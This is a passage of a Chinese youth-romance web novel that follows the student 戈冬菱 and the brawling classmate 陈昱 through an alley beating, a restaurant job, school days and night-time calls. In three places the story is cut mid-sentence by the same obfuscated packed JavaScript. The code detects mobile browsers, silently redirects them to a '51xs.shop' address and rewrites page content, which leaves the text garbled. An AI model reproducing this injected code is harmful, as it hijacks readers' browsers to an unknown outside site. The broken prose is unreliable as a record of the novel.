徐俐看她的表情,也不敢追问为什么,沮丧着脸说:“好吧,戈冬菱,新年快乐。” 话语伴随着路边一个小孩儿放炮的“啪啪”声响,把她吓了一跳转头去看,眼睛都瞪得老圆。 戈冬菱咧唇笑。 新年就这样过完了。 *** 戈冬菱的一整个年都是跟容春英一起过的,偶尔上网跟朋友聊天,最多的就是徐俐跟去市中心上学的薛琪,以及班上几个要好的同学。 尢雪梨不太喜欢聊天,就算是有事情也都是直接打电话或者当面说。 所以这一整个年跟她的交集都屈指可数。 戈冬菱做好了晚饭之后捧着手机跟薛琪聊天,说她新学校校规制度到了会草菅人命的地步,整个学校的走廊围栏都是用黑铁网封起来的,上课如坐牢。 薛琪给她发了几张他们这次期末的模拟考卷,说她这成绩在班级只够垫底。 【已经开始模拟考了吗?】戈冬菱有些怔然。 【我刚来的时候就已经开始四模了,我们班的卧龙凤雏个个脑子跟开了光似的。阿菱,我忽然觉得世界很大。】 戈冬菱盯着她这句话,知道她说的不是成绩。 【你能追上,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207455|151011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相信你。】 【靠,老子哭了。】 戈冬菱就笑着发:【如果我在你身边一定给你拍下来。】 距离开学还剩下几天,那几天没下雪,炮竹声也逐渐湮灭,随之而来的是一场陆陆续续下了几天都没有彻底停的雨。 戈冬菱戴着耳机去了附近的一个二手书店,又买了很多学习资料,还帮尢雪梨淘到了一本已经绝版的陶瓷工艺手册。 付完钱之后才想起来她应该已经不喜欢了,她的兴趣总是来得很快也去得很快。 雨没停,脚踩在柏油路上的那一秒伴随着头顶雨水砸在透明雨伞上滴滴答答的声音,那雨滴闷闷的打在伞面上又顺着滑下来。 戈冬菱抬眸盯着看那道湿痕,又透过伞骨看向被雨水染湿的乌洇天,随后双手握住伞柄转了一圈,摇摇欲坠的水珠倾泻而下。 她玩了几次,背着书包从店里出来。 雨下的并不是很大,耳机里单曲循环着一首英文歌,很悲情的语调,歌词里都带着一股很阴郁的气息。 一直走到一个巷子口,戈冬菱忽然想到这边种着一颗很老旧的樱桃树,是一个奶奶生前种下的,成熟时总会摘下去卖,她去世之后就成了附近小孩的粮仓。 她刚拐弯走过去,又瞬间转身躲开退到了旁边店门口的屋檐下。 低着头佯装掏出手机,过了大概两分钟,一个男生带着两个人从胡同里出来了,嘴里骂骂咧咧着一些脏话,边走边喊。 “来找我啊,我他妈怕你了,这事儿没完。” “老子也他妈烂命一条,有本事你也把我的眼给戳瞎。” “反正我也被开了,让你那些狗腿子来找我,老子也不怕死!” …… 他倒是丝毫不藏着,就这样很直白高调地带着一群人把人打了,从巷子里离开。 戈冬菱站在原地,低垂着眼睫。 这个方向,陈昱应该也是要回七苔街的。 他们走了之后,戈冬菱才撑着雨伞抬步走到巷口往里面看。 巷子并不深,只是一个没规划好而多出来的死胡同,连那颗樱桃树也都是从旁边院子里冒出来垂落在墙头的。 她就站在巷口没动,盯着不远处头上被套了麻袋坐在墙边,正在费力摘掉的陈昱。 露出来的那张脸又是血淋淋的一片,嘴角红肿流血,浑身都湿透,衣服黏在身上,他弓着腰,整个人都是潮湿没有温度的,甚至于连气息都很散。 跟陈昱抬起头时视线对视上的那一秒,她还是静立在原地,隔着逐渐绵密的冰凉雨丝跟他对视。 世界仿佛被降低了饱和度,一切的颜色都变得灰扑扑。 耳畔只有雨伞“砰砰”的雨水炸开声响。 戈冬菱往前走时,那双棉靴正好踩进了一个很浅的水面,鞋面被打湿成深色,也没止住她的脚步。 一直走到他面前,戈冬菱低眼看他狼狈的姿态,手腕裸露在外,把自己的雨伞往他头顶移了移。 等他抬头后,又缓缓蹲下身,目光变为平视。 陈昱从始至终都没什么反应,身上的刺痛感很强烈,他没什么力气,缓一会自然能起来。 目光从女孩脸上划过,最终落在她的眼睛上,那双眼圆润、清透、瞳仁黝黑,没有一丁点杂质,很漂亮,跟这张脸一样。 或许盯着的时间有些久,女孩眼睫窣窣颤动,陈昱才稍稍移开眼。 她也并不像表面那么镇定。 有风从中间穿过,她往前凑了凑,拉近了些距离,小小的透明雨伞把两人聚拢在雨伞之下,余光扫见他手边有一滩血,混入肮脏的雨水之中。 空气中潮湿又阴冷,刺着鼻尖。 戈冬菱又把雨伞往他那边挪,身子也动动,眼睛看着陈昱的脸,额骨青紫,里面泛着密密麻麻的红血点,血液像是要炸开。 “干什么?”他的声音沙哑极了。 戈冬菱耳朵因为这嗓音动了动,小声说:“给你挡风。” 陈昱盯着她没吭声,过两秒,才动了动自己有些骨折的手指,手腕的骨头不知道是不是断了,除了剧烈的刺痛只剩下冰冷和麻木。 他低着头,过了两秒,浑身没力气似的往前卸,几近贴着戈冬菱的右肩时,又停下来。 声音似乎是闷在她的肩头传出来的。 她熟悉的,小心翼翼的,梦寐以求的。 “你叫什么?” “戈冬菱。” 11. 薄荷糖 李屏东开了辆摩托车把他带去了医院,手腕骨折给打了石膏,脸上倒都是些小创伤,贴了几个小纱布,腹部那些软组织挫伤被医生叮嘱要修养。 李屏东倒是没吭声,后来跑来医院的章鹏骂骂咧咧声音几乎要吵醒隔壁鼾声震耳欲聋的老头,被医生提醒才讪讪收了声儿。 “那个傻逼还搞什么偷袭,等老子弄死他。” 李屏东扫了他一眼:“你少说两句吧你。” “我手机呢?”陈昱侧头看他。 章鹏:“还管什么手机啊。” 李屏东:“进水坏了,我去给你买个新的?” 一直到第二天陈昱从医院出来自己去买的,卡也补办了新的,登录上微信之后主页面空荡荡,聊天记录全没了。 陈昱站在手机店门口,摁了下字母L往下划拉,划了半天有些烦了,从上方搜索那个菱字。 没搜到。 停了一秒,灭了手机。 被删了。 打车回去,陈昱上楼梯上到二楼时停顿了一下,往前走一直走到走廊,视线往旁边扫了一眼,没人,整个走廊都是静悄悄的。 一直到他上了这段台阶的最上层,才听到二楼一些喋喋的对话声。 “你就叫人家哥就行,懂礼貌点,是我们那老板那个儿子。” “嗯我知道。” “他儿子从北京回来的,大学学的就是餐饮,是个名校,我们这边最近出了好多新店,说不准他这还能跟上热潮,刚开业也不会多忙,到时候让你干什么你就干什么就行了。” 戈冬菱点头说:“好。” 前面的容春英还在絮絮叨叨,身旁的戈冬菱却停住了脚步。 她的视线似乎对陈昱过敏。 抬头,从楼梯的夹缝中看到了一个手肘撑着铁栏杆正在抽烟的男生。 他脸上伤还没恢复,右手掌心捆着一圈又一圈的纱布,指骨间夹着烟,那双漆黑的眼睛正不偏不倚盯着她看。 像是锁定了猎物。 楼梯道里的光总是阴暗的,常年失修,没人愿意出钱。 人脸上的表情看不清,空气有些冷,周遭万籁寂静。 视线的对视像是一种打量跟巡视。 那持久的,没有谁主动愿意移开的视线,更像一种接吻。 “你干什么呢?快点跟上。” 戈冬菱快步下楼梯,喊着:“来了。” 她去的是一家海鲜店,老板还没招到收银员,戈冬菱家里有电脑的原因,她对电脑玩的很熟,况且高中已经有一周两节的信息技术课了。 她去了之后被容春英领着跟对方认识,男人今年24,毕业了有两年,毕业后在一家五星级餐厅当主厨,今年辞职回来创业。 微碎发,单眼皮小眼睛,长相跟穿着打扮都很普通,人很有礼貌,还有些莫名其妙的拘谨。 刚开业的前两天其实才是最忙的时候,有促销,各种宣传,挺多人来尝,他菜单上比一般店内都要贵,还有些日料,点的人都是附近的学生尝个鲜。 戈冬菱之前每年寒暑假都会出来兼职,大多数都是奶茶店跟超市的收银,即便得心应手一整天下来也挺累。 她要站一整天,还不太习惯。 一直到晚上九点多,餐厅快要闭店时又洋洋洒洒来了一群人,戈冬菱一直低着头,让他们在门口菜单上点餐。 抬起头时才看到旁边站着的陈昱。 她余光晃了一下,来不及反应。 点餐的男生用手指敲了敲桌面,混笑着: “干什么呢,能不能点了。” 戈冬菱才把手里的号码牌给他。 “7号桌。” 男生笑嘻嘻地接过,又扫了一眼陈昱,也没说话,那混不吝的眼神让人看着不太舒服。 旁边董家辉提着奶茶看着那群看上去就不正行的小混混,又看向戈冬菱,把奶茶递给她。 “给你买的,累了吗?我让后厨给你做了晚饭你吃点。” 又继续看着还没完全走开的那几个人,压低声音说:“明天我跟阿姨说让你别来了。” 已经不是第一次了。 “不用,没事的。” 他给所有员工都买了奶茶,戈冬菱也不好意思推脱。 “谢谢老板。” 他们点了挺多,一直到店里人都下班了还没走,只剩下戈冬菱跟老板董家辉在店里。 她用手肘撑着下巴打瞌睡,眼睛都闭上了,脑袋在手掌上摇晃。 一道悠扬的口哨声敲响了她,戈冬菱迷迷糊糊睁开眼。 陈昱站在她面前,穿了身黑皮夹克,戴着黑色鸭舌帽,压的很低,低头时露出棱角分明的下颌线跟下巴,薄唇微动,嘴里咔啪着咬着清腔的薄荷糖。 他付完账,眼睛又盯着戈冬菱看。 那双漆黑的眼总是很有穿透力,戈冬菱躲开了视线,给他找了钱,递给他也没跟人对视。 旁边那群人不可能没看出这俩人的眼神交汇。 男生正要说话起哄,又被李屏东碰了下胳膊,他挑眉闭嘴了。 他哥有他的节奏。 付了钱就走了,男生自顾自挥了挥手说:“下次再来啊。” 收尾,关店,结束一天的营业。 夜晚漆黑,附近的一个市场门前还有很多烧烤小摊,亮着灯,有不少穿着厚重睡衣的人站在小摊前买吃的闲逛。 是董家辉开车送她回去的。 为了去市里买一些新鲜的生鲜,他贷款买了辆十几万的本田。 这些也都是容春英告诉她的。 戈冬菱坐上他车副驾驶的那一瞬间,才后知后觉反应过来什么。 最后余光落在了他车前方放着的一个小黑盒子上,又移开眼看向窗外。 大概是不好意思,董家辉一直没说什么,一直到车停在了居民楼的门口,他没下车,就跟她挥了挥手,又说:“你要是不想来我跟阿姨说,店里其实忙的过来,你明年就要高考,还是学习重要。” 戈冬菱摇了摇头:“没事的,明天我自己骑车去就好。” 他点了点头。 戈冬菱转身就进了院子,没回头,但等她彻底走进去之后才听到了外面汽车启动的声响。 后来的那一周她都在那家餐厅帮忙,说是帮忙,但董家辉大概是不好意思,也会懂得人情世故,趁机加了她的微信转了钱给她,戈冬菱没敢收。 同样的那一周,她几乎每天都能看到陈昱来吃饭。 偶尔是午饭偶尔是晚饭,偶尔自己偶尔跟那群朋友。 他大概是不喜欢吃生鲜,点的是店里唯一清淡的家常菜,这家餐厅以重口海鲜为卖点,能从这么多菜品中挑出一份清淡的很不容易。 林高二月十五开学,今天是她来帮忙的最后一天。 老板今天没来,店里不像是之前那么忙碌,店员也开始懒散起来,没客人时就站在旁边低声玩手机亦或是聊天八卦。 店从开业到现在,也就刚开那两天生意好些,这几天可见一斑,看来并不像是容春英评价的那么好。 戈冬菱坐在前台算账,一直到晚上七点多,有人进店,戈冬菱还没抬头,声音就顺着出来:“旁边菜单点餐。” 抬起头,看到陈昱那张脸,旁边没他朋友在,他自己来的。 他一如既往一声不吭去拿菜单,没拿起来,一只手摁住了那张纸。 陈昱目光落在这只手上,白皙又小,手背最中间有一颗很小的黑痣,在他的视线下,她指骨蜷缩了下。 他抬起眼皮看她:“干什么?不给点。” 戈冬菱抿了抿唇,缓缓移开手,说:“你别吃了……” “为什么?不给我们这种人吃饭啊?” 他们这种人。 戈冬菱心里莫名被刺了一下。 戈冬菱抬眼跟他对视着,又说:“我帮你点可以吗?我尝过其他的,你应该会喜欢。” 陈昱哦了一声。 掏出手机说:“微信加回来。” 戈冬菱连忙地扫了一眼旁边,掏出手机加了。 给他点了几样名字很怪但尝起来还不错的,他就自己坐在单桌慢吞吞吃,吃完之后结账时,眼睛含笑看着她,舌尖抵着牙齿,吃了好几颗薄荷糖。 “明天见。” 他说。 他走没多久戈冬菱就从店里走了,持续了几十分钟的紧张情绪在看到微信列表的那一瞬间达到了巅峰。 点进跟他的对话框,盯着上面那一小句灰字。 又点进了他的朋友圈,重新看了一遍,再切出来时人的微信已经被压在了下面。 她微信里加了不少群,平常还有很多朋友给她发消息,想了想,把陈昱的微信置顶了。 林高开学的那天出了太阳。 戈冬菱穿了一件黑色棉袄,里面套着件白色长袖,利索地扎着马尾,踩着上课铃进了教室。 预备铃打完班主任就在讲台上讲了大半节课剩下这四个月的重要性,话音落下,班级氛围明显有些沉重,不管学习好还是学习差,都快要结束了。 “好了,都给我清醒一点,大早上第一节课眼睛就闭上了,听听人家隔壁班的在干什么,全体起立,站起来背文言文,等还有十分钟我会挑三个同学来背。” 一瞬间,全体都从桌子上探出了头,窸窸窣窣地站起身,教室里传出苍蝇嗡嗡的声响,此起彼伏。 第二节下课大课间,徐俐下了课就站门口叫她,戈冬菱走出教室被人拐着胳膊下楼。 “哎你说,我这次一模要不要考的差一点。” 戈冬菱歪头看她,伸出手摸了摸她的额头。 又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207456|151011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被徐俐笑着拍开。 “滚开,他上次胳膊上我看到了,是不是他爸打的?” 戈冬菱点了点头。 “虽说他爸是校长但也不至于吧,这么严格的吗?只不过是第二名,我天,我看到他胳膊上全都是淤青,像是棍棒打的,这不是纯纯家暴吗?” 徐俐又话锋一转:“你是不是早就知道?你早说我就继续第二了,反正对我来说也没什么影响。” “你不是失恋了吗。”戈冬菱揣着口袋说,又说,“高一的时候午休时间去办公室给老师送作业本,看到了。” 徐俐一时之间也不知道说什么了。 最后沉了口气,“算了,我还是考第二吧。” 徐俐说完,顺着戈冬菱的视线,看到了不远处穿着一件黑色冲锋衣的陈昱,过分颀高的身形在那群人里总是鹤立鸡群,双手插着口袋,懒懒散散地走过来。 今天开学第一天,要集体去操场开会,人群都在往露天操场聚集。 徐俐的眼睛落在陈昱身上的那一秒,像是黏住有些扯不下来。 他对自己的衣服要求好像不高,来来回回那几件都没变过,学校冬夏都有校服,但不要求穿,偶尔陈昱却会穿着那一套黑白校服跟那群人一起去打篮球,他也总是站在人群的边缘弱化自己的存在感。 这身是从没见过的出挑,衬得不同于往日的野性难驯,更像是人群的主人。 视线停留有些久,注意到旁边没了人,徐俐才匆忙跑上前跟上去。 “喂,走这么快。” 戈冬菱就示意:“听到没,老师吹口哨催了。” 徐俐笑了笑:“开久一点才好,下一节是物理,我还不想上呢。” 又往后看了一眼,陈昱还在他们身后不远的位置晃荡,他们高三的都在操场南面集合,去的是一个方向。 用胳膊肘捅了一下戈冬菱的胳膊,眼睛眯着:“诶,看到后面,陈昱,在往这边看。” 戈冬菱就往后扫了一眼,一瞬间就跟他帽子下的漆眸对视上了。 她明显从陈昱原本闲散的步调中看出了一丝停顿,那双眼睛直勾勾盯着她,不是以前那么轻飘飘一眼的掠过。 手指蓦地在口袋中攥紧,镇定自若地边说边回头:“怎么,你又旧情复燃了?” “你说,他是不是在看我?” “不知道,你去问问。” 徐俐嗤了一声,低着头踹路上的石头,耳畔是教导主任嘶声裂肺的催促声跟口哨声,伴随着学校的校歌,她停住了脚步,忽然叫了一声戈冬菱。 “戈冬菱。” 戈冬菱不明所以看她:“嗯?” 徐俐走上前,偏着头,说得很直接:“他在看你。” 戈冬菱没说话。 徐俐又笑:“我知道。” 一直知道。 她做了个抽烟的姿势,很潇洒:“喜欢什么的,在我这儿永远没有朋友重要。” 一直到后来大学毕业天各一方了很久很久,再次重逢时俩人坐在一家烤肉店吃饭,那时的徐俐已定居纽约很久,坐在那家餐厅,聊起以前。 她忽然说,戈冬菱,没人会不喜欢你的。 开会结束之后,徐俐被老师叫去办公室,给年纪排名前五十名的都发了个盖章的笔记本。 戈冬菱跟着进去等人被他们班物理老师逮住打印五十三份卷子,打完回班上发了。 物理老师匆匆忙忙走了,徐俐也去上课,她不会用打印机,盯着研究了好几分钟才打出来。 抱着试卷从办公室出来时下节课都已过半,慢吞吞地下楼,每下一格,都能听到楼梯间传出“咚、咚”的脚步声响,又跟正在上楼的人交叠在一起。 戈冬菱低着脑袋抱着卷子,脑子正在出神,旁边人的胳膊倏然拦住了她的去路。 抬起头,看到陈昱那张五官硬朗的脸,又扫了一眼那只手。 他的指骨握着围栏横在她面前,手背上还有很多没恢复好的伤口,明显地能看出那些粗粝的纹路痕迹。 陈昱扫了眼她抱着的卷子,随口问了句:“重么。” 戈冬菱觉得他就是没话找话,几张卷子能多重。 于是她摇了摇头,又别过头没看他。 她心跳得很快,因为他近在咫尺,一些细小的动静都被放大,想拍拍耳朵。 “我要快点去上课了。”她小声说。 这节课还不知道老师在讲什么。 陈昱手从旁边围栏上松开,侧开身,等她往下一格想跑,又扣住了她的手腕。 力道很重很重,铁钳一般,捏得她骨头疼。 戈冬菱就倏然看向他,眼神里带着些许没反应过来的惊慌。 他没松劲儿,看着她的脸,眼神浓烈。 嗓音却轻漫: “放学一起回。” 12. 叛逆期 理科二班跟理科七班不在一个方向,正常都从两个楼梯口进。 戈冬菱跑的挺快上了楼,身后慢悠悠跟着揣着口袋的陈昱。 她进了教室心脏还跳的很快,抱着卷子,一直等到下课把卷子递给了班长让她发了。 上午最后一节课是班主任的课,距离上课时间还有五分钟班级里就安静下来了。 穿着黑色中山装的班主任面无表情站在讲台上,拿着教棍的架势太过渗人,底下人大气都不敢出一声。 等教室里的人差不多齐了,她才敲了敲桌子,冷声开口:“以后不管因为什么原因只要是打了上课铃,还没有进教室的,都不用上来了,直接在楼梯道里等到下课,自己不学习别人还要学习,现在是高考的重要阶段,对自己不负责就算了,别影响别人的前程。” 等下课戈冬菱才知道,七班的陈昱上课从教学楼四楼转了一圈慢悠悠回教室,被他们班主任逮着站在走廊训了大半节课。 那班主任耳朵受过伤听力受损,在教学楼的训斥声响差点震倒楼。 大波上自习的学生偷偷趴在教室门口往外看,引起一时轰动。 下午最后一节课结束,戈冬菱背着书包下课去门口坐车回家。 路边来来往往背着书包的学生,大多数都是自己开电瓶车或者爸妈来接,她低下头打开手机,插上耳机随机播放了一首歌。 大多数时间她都是不太清楚耳机里在唱什么的,只是那种声音能够掩盖旁边的嘈杂热闹。 上了公交车坐在最后一排之后,抬起头在车内扫了一眼,又缓缓低下头,点着手机里的贪吃蛇玩。 车快要启动时,才上来了最后一个人。 后排都没空位了,他就坐在了前排靠窗的位置,被旁边微胖的男生遮挡住。 从她的角度,就只能看到他的脑袋,耳朵上挂了个黑色耳机,正低着头,也看不清神色。 车子启动,他也没回头看过,甚至也没找过她的身影。 手机滴滴了一声。 C:【从哪下车。】 戈冬菱眼神闪了一下,含着脖子偷偷摸地回复。 【你看到我了?】 C:【跟你一路没看见?】 哪有…… 明明踩着点上车的。 【七苔街,要回家。】 那边就没再回。 戈冬菱一瞬间心往下落,皱巴巴地紧在一块儿。 又忙不迭发:【我家有门禁的,今天我妈妈会下班很早。】 陈昱:【哦。】 陈昱:【那你晚上偷偷跑出来,三楼。】 连续的两条,几乎是贴着她第二条微信同时发过来的。 都能想象得出他发这条的时候游刃有余又闲散的表情。 戈冬菱看到这条脸颊都有点儿发热。 【听到老师今天批评你了。】 陈昱:【什么?】 【在教学楼转了一大圈。】 【哦。】 他发完这条就没吭声了,戈冬菱也瞬间不知道要回复什么好。 也分不清那条让她上楼的话到底是真的还是开玩笑。 公交车停靠在七苔街,戈冬菱跟着零零散散几个人下车,从台阶上下来,又倏然回头看了一眼“哐当”一声紧闭了车门的公交车。 隔着玻璃,只能看到他的侧脸,正玩手机,一副懒洋洋的样子。 戈冬菱扯了扯书包转身往家里的方向走。 这个公交站并不在居民楼的门口,还要走十分钟,路过这边有个热闹的集市,又开了好几家连锁奶茶店,人很多。 天气逐渐回温,大街上几乎看不到还穿着棉袄的人了,鲜亮的颜色填满街道。 尢雪梨这几天都没跟她联系过,戈冬菱低头给盛贞发了条消息,问他还在不在棋牌室兼职。 盛贞:【在。】 戈冬菱问:【尢雪梨也在那里吗?】 盛贞:【嗯。】 戈冬菱眼睛一止。 那边盛贞一直持续输入中,过了好一会才问:【她是你朋友吗?】 在这一天以前,盛贞的生活里可以用两个词来形容,学习,被作为校长的爸爸家暴。他认识的人很少,高一那年除了戈冬菱之外,班里他甚至于叫不出第二个人的名字。 今天开始,他的生命里有又多了一个人。 【嗯。】 戈冬菱忽然有一瞬间有些不忍心,于是提醒他:【盛贞,她不是什么好人。】 盛贞回复过来的那句话都有些笨拙又可怜。 【嗯,她学习不好。】 【下次,补习可以带她一起吗?】 戈冬菱看着远处有人拿着奶茶店的甜筒,超市的制冷机也打开了,甚至有小铺门前放了个冰箱,里面堆积着老冰棍跟绿舌头。 这个冬天要过去了。 【盛贞,我们以后不会一起补习了。】 回复完,戈冬菱揣着口袋低下头,脚尖有个石头,被她一路踹回了家门口,最终一脚踢进门口旁边的草丛里。 *** 盛贞灭掉手机时尢雪梨正在跟陈昱说话。 他虽然不太关注别人,但来这么久,也记得陈昱的面孔。 总是站在旁边,不爱玩也不说话,甚至很多时候嘴里咬着根烟趴在旁边捏着笔写作业,走过去一看精准错过所有正确答案。 旁边李屏东大概注意到了他的视线,也凑过去,随后语重心长拍了下陈昱的肩膀。 “昱哥,兄弟好心提醒你,你不如都选A,还能有个26%正确率。” 陈昱头也不抬:“滚。” 李屏东比了个OK的姿势:“好的。” 章鹏掰着指头半天,没忍住皱眉去问:“怎么26%?” 李屏东朗声:“呦呵。” 反应过来被耍,章鹏气急败坏踹他:“你他妈给老子滚蛋。” 陈昱放下手里的笔,盯着那张卷子,又忽然看向旁边的尢雪梨。 “戈冬菱学习好不好?” 尢雪梨凑够了钱想买个麦,正在手机上搜购买渠道。 他这么一声,把她的思绪给打散了。 “什么?” 陈昱很少跟她有什么交流,到现在对话次数都屈指可数,尢雪梨也不在意,她跟谁玩都一样。 但不可否认,尢雪梨第一次见陈昱就觉得,他长得是真的帅,那双眼睛黑白分明,瞳仁漆黑,下颌角尖锐地横过去,脸颊的棱角极其分明,喉结都野性到让人想要探究十八岁的他。 陈昱眼神淡漠地瞅着她问:“她学习好不好。” 鲜少有耐心地重复。 尢雪梨眼底肉眼可见地浮现了一些趣味,挑起眉,嘴角都勾着。 侧头瞟了眼章鹏,随后凌磨两可地说:“不怎么好,但很努力,她天天熬夜写作业到十一点。” 陈昱捞起自己还有大片白的作业就走了。 临走时还顺走了章鹏的一包烟。 人走了之后,章鹏才皱着眉看向尢雪梨,“你干什么?” 尢雪梨看了看时间,也捞起旁边放着的外套出了门。 边走边说:“什么我干什么。” 章鹏跟着她的步调下楼,声音压得很低:“别以为我不知道,你故意的。” 在楼梯转角处停住脚步,她侧过头:“我听不懂你在说什么。” “非要我直说吗?你那天忽然叫我出去吃饭,你明明记得戈冬菱还在上面。” 他没怎么见过颜明志,但那天忽然跟着尢雪梨过来玩,后两天章鹏才知道那天颜明志抓着戈冬菱不让走,那个颜明志就是个社会混混,没上过学,偷摸抢骗都做。 他是混,但也没混成恶名昭彰。 这个台球厅是李屏东的叔叔家开的,台球厅入门那间几乎都是陈昱他们几个熟悉的人。 看着人各玩各的很散漫,但一些事情上所有人都把陈昱当成中心,没有陈昱吭声,没人会主动做什么。 那天那场面。 要么任凭颜明志欺负戈冬菱,要么陈昱发话。 不用想,结果显而易见。 章鹏扯了扯嘴角:“我怎么不知道你什么时候改行当红娘了。” 尢雪梨耸了下肩膀,笑着看他:“你不是说她跟我们不一样吗?” 章鹏从记忆里捞了好几秒捞出这句,面无表情问她:“尢雪梨,我有的时候真的不知道你在想什么。” “戈冬菱不是你朋友吗。” 尢雪梨就没吭声,蹦跶着下了楼。 “是啊,很好的朋友。” 章鹏沉了口气跟上去了。 盛贞下了班才看到戈冬菱发来的微信,问他,为什么忽然问起尢雪梨。 【她跟我要微信,但又没理我。】 戈冬菱呆呆地看着微信,又盯着窗外乌黑的天,不知道要发什么。 她不是还跟章鹏在一起吗? 房间里传来开门的声音,戈冬菱往卧室门的方向看,过了一会听到容春英喊才去客厅。 “我给你煮了粥你热一下喝。” 容春英看了她一眼,又问她:“你在房间干什么呢?” 戈冬菱说:“看书。” 她嗯了一声。 边去厨房边说:“过两天你下了课就去他店里帮忙吧,那书不看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207457|151011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也罢,反正就剩下几个月了。” 戈冬菱没吭声。 盯着厨房里正在温粥的容春英看了一会,忽然问:“妈,你还恨我吗。” 那边容春英给自己接了一碗水喝,咕咚了一大口,被呛了一下。 一边咳一边皱紧眉头问着她:“嗯?你说什么?” 戈冬菱摇了摇头,又低下脑袋说:“我说,我回房间睡觉了。” 卧室门下的缝隙有些大,开灯容春英能看到。 她半捂着台灯,从箱子里抽出了一张理综的卷子做,写完了之后关掉灯把双腿蜷在椅子上,抱着看窗外。 小县城没有高楼大厦,在居民楼周遭还有很多门面房,仰着天看天空,漫天都是星星。 可惜今天没什么星星,漆黑一片,什么也看不见,只有偶尔鸟的叫声伴随着“哐哐”远处皮革厂机械的声响。 时间过了十一点,戈冬菱才从放空中回过神,迅速掏出手机。 微信里只有一些群里的消息。 她蹑手蹑脚地出了门。 容春英白天工作要做很多体力活,她又睡得很沉,很少能够吵醒她。 胳膊肘架在围栏上,下巴也抵着胳膊,歪着脑袋往上看。 过了两分钟,手机忽然嗡嗡响起。 在格外寂静的黑夜里震到手指发麻。 戈冬菱被吓得忙不迭关掉了声音。 他打了视频过来。 戈冬菱有些窘迫地捂着手机去了另一边的楼梯,居民楼并不干净,从楼梯间就能闻到垃圾通道里熏臭的气味,到了夏天更是虫蚁乱飞。 她坐在最上面的一个台阶上,很冰,缩着身子接听了电话。 声音弱巴巴的:“我手机接不了视频。” 她这个手机的摄像已经完全坏掉了,后屏也是裂掉的,靠着一个泛黄的透明壳支撑着。 平常用的多的那个小手机是老式的黑莓只能打电话。 手机是容春英老板不要的给了她。 说完,也感觉对面陈昱大概没明白为什么不能接,只是“哦”了一声。 “作业写完了吗?” “写完了。” 陈昱就没吭声。 戈冬菱盯着天上的星星,忽然叫了他一声。 “陈昱。” 他的名字在唇齿里很熟悉又很陌生,陌生的是她不太熟悉自己的喊他时的声音。 小声的几乎快要被漆黑湮灭。 “昂。”他应着。 “你在干什么?写作业吗?”戈冬菱有些好奇。 明明学习不好,但见过很多次他左手拿着笔一笔一划地做卷子,反正很认真。 想到他的字,戈冬菱又想偷笑,强忍住了。 他顿了一秒,随后又嗯了声。 “嘲笑我。” “没……” 她说完两人又都没有说话。 一直到她感觉有些冷,风吹进来时才意识到外面淅淅沥沥下起了雨丝,怪不得今晚这么黑,一点亮光都没有。 沿海的城市总是风大,潮湿,好像就算有太阳也总不尽人意。 “陈昱,我妈说我叛逆期。” 戈冬菱后来听到有人说,叛逆期是自主意识的形成,在人意识到自己成为了独立的个体时,就想要自由支配自己。 陈昱哼笑了声。 “我啊。” “不是。” 戈冬菱抱着膝盖,手里捏着手机说:“我,不吃苹果皮。” “是不是很不听话。” 陈昱静默了几秒,问她:“想吃吗?我这儿有。” 戈冬菱:“不要了,我想去睡觉了。” 挂断了电话之后戈冬菱也没走。 不知道为什么,搬到这里来之后每天晚上她都会做噩梦,第二天浑身是汗的醒过来,睡觉对她来说并不算是一个休息的方式。 反倒是放空,发呆,更让她舒服。 她灭了手机,抱着膝盖坐在楼梯道的台阶上,呼吸都很轻,让自己陷入漆黑中。 远处有人下楼的声响让她提高了警惕。 并不是从这边出来的,咚咚的声音像是两格两格往下蹦的。 已经快要凌晨了。 有点害怕,等下楼的声响消失之后,也站起身快步回了卧室。 第二天一早醒来,热了冰箱里过年蒸的包子吃,背着书包边吃边出门赶公交。 刚锁上门,看到旁边玻璃窗的延边放了一个玻璃杯。 里面放着剥了皮、被切成小块的苹果,还插了两根木签子。 应该是刚才拿过来的,容春英七点就从家里离开了才没有看到。 13. 小纸条 伤口开始结痂,是春天的预兆。 天气逐渐变得炎热,昼夜温差大,中午暴晒的太阳意味着短促的春天在偷偷溜走。 晨早从衣柜里翻找了许久,才找到了一件应季的衣服。 旁边角落还放着一条75cm的百褶裙,她跟尢雪梨身高差不多,这条裙子是她在冬天时买了两条送给她的,颜色不太一样,第二条半价。 这个长度对比她一六七的身高刚好。 她不喜欢裙子,不方便,校服的宽大能够整个把她包起来。 相反尢雪梨夏天却时常穿狗短裙,漂亮到不属于这里。 最后还是穿了件绀色大衣跟那件很适合冬季长度的百褶裙出的门。 戈冬菱在上公交车之前边走边把那杯苹果吃完了,连手上的早餐都没吃完塞进了书包里。 